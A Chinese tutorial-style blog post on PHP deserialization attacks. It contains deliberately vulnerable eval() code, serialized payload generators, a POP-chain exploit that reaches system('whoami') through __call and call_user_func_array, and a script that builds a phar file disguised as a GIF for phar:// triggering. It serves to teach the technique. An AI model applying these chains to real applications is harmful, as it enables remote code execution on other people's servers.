zoukankan      html  css  js  c++  java
  • php反序列化

    之前听漏洞银行的一个女生讲php反序列化。她说了一句。php反序列话找public变量。

    导致我以为必须php反序列化。可控的变量必须是public or protected。private私有的变量不可以。

    今天测试了一下。private变量也是也可以的。

    class Test{
        private $test;
        public function __construct($test)
        {
            $this->test = $test;
        }
        public function __destruct()
        {
            eval($this->test);
        }
    }unserialize($_GET['a']);

    payload1:

    class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
    {
        private $test;
        public function __construct($test){
            $this->test = $test;
        }
    }
    $a = new Test('phpinfo();');
    echo urlencode(serialize($a));

    payload2:

    class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
    {
        private $test;
        public function __construct($test){
            $this->test = 'phpinfo()';
        }
    }
    $a = new Test();
    echo urlencode(serialize($a));

    paload3:

    class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
    {
        private $test='phpinfo();';
    }
    $a = new Test();
    echo urlencode(serialize($a));

    payload4:这样构造的pyload的是不行的。因为变量是private属性。这种情况的pyload只能是public.

    class Test                             
    {
        private $test;
        public function __construct($test){
            $this->test = $test;
        }
    }
    $a = new Test();
    $a->test='phpinfo();';
    echo urlencode(serialize($a)); //O%3A4%3A"Test"%3A1%3A%7Bs%3A10%3A"%00Test%00test"%3Bs%3A9%3A"phpinfo%28%29"%3B%7D

    以上是对序列化变量覆盖的常用4中方法。其中反序列化时是不会执行__construct这个函数的。

    总结:

    php反序列的时候可控的变量可以是:public、private、protected

    其中php反序列化形成的关键:

    1、存在反序列化可控的变量

    2、找危险函数的类(当找不到危险函数的类的时候,可以尝试利用内置的类构造。http://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

    3、形成pop链(不一定都是变量覆盖,可以覆盖其方法。http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

    eg:2.php  2.php中__destruct中有events和event俩个可控变量。可以将events赋值给test2类,因为test2中没有fire方法,就会调用test2类中的__call方法

    test2中的formatters变量可控。

    include("./3.php");    
    class test1
        {
    
            protected $events;
    
            protected $event;
    
            public function __construct($events, $event)
            {
                $this->event = $event;
                $this->events = $events;
            }
    
    
            public function __destruct()
            {
                $this->events->fire($this->event);
            }
        }
    unserialize($_GET['a']);

    3.php

    <?php
        class test2
        {
            protected $formatters;
    
            function __construct($forma){
                $this->formatters = $forma;
            }
    
            public function format($formatter, $arguments = array())
            {
                return call_user_func_array($this->getFormatter($formatter), $arguments);
            }
    
            public function getFormatter($formatter)
            {
                if (isset($this->formatters[$formatter])) {
                    return $this->formatters[$formatter];
                }
            }
    
            public function __call($method, $attributes)
            {
                return $this->format($method, $attributes);
            }
        }

    exp.php

    <?php
    class test1
        {
    
            protected $events;
            protected $event;
            public function __construct($events, $event)
            {
                $this->event = $event;
                $this->events = $events;
            }
            public function __destruct()
            {
                $this->events->fire($this->event); //让fire可控制
            }
        }
    class test2
    {
            protected $formatters;
    
            function __construct($forma){
                $this->formatters = $forma;
            }
                                   // fire            whoami
            public function format($formatter, $arguments = array())
            {                            system                whoami
                 return call_user_func_array($this->getFormatter($formatter), $arguments);
            }
    
            public function getFormatter($formatter)
            {                                // ['fire'=>'system']
                if (isset($this->formatters[$formatter])) {
                    return $this->formatters[$formatter];   //system
                }
            }
    
            public function __call($method, $attributes)
            {                          //fire   whoami
                return $this->format($method, $attributes);
            }
    }
    
     $fs = array("fire"=>"system");
     $gen = new test2($fs);
     $pb = new test1($gen,"whoami");
     echo urlencode(serialize($pb));
    
     // call_user_func('system','whoami');

     这几个函数参数变量可控也可能导致反序列化漏洞

    include('./1.phar');
    file_exists('phar://./1.phar');
    file_get_contents('phar://./1.phar');

     生成phar

    $fs = array("fire"=>"system");
    $gen = new test2($fs);
    $pb = new test1($gen,"whoami");
    $p = new Phar('./1.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($pb);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    rename('./1.phar', '3.gif');
  • 相关阅读:
    codeforces 1C(几何题)
    poj 1015 Jury Compromise
    poj 1466 计算直线的交点数
    poj 1228 凸包第一题
    2012 MUTC 3 总结
    用优先队列优化Dij的一个代码
    有关排序时,上移,下移的处理思路
    有关缓存的思考
    python备份文件2 分类: python 20130315 15:16 233人阅读 评论(0) 收藏
    lambda表达式使用方法详解 分类: python 20130315 10:58 396人阅读 评论(0) 收藏
  • 原文地址:https://www.cnblogs.com/afanti/p/9081958.html
Copyright © 2011-2022 走看看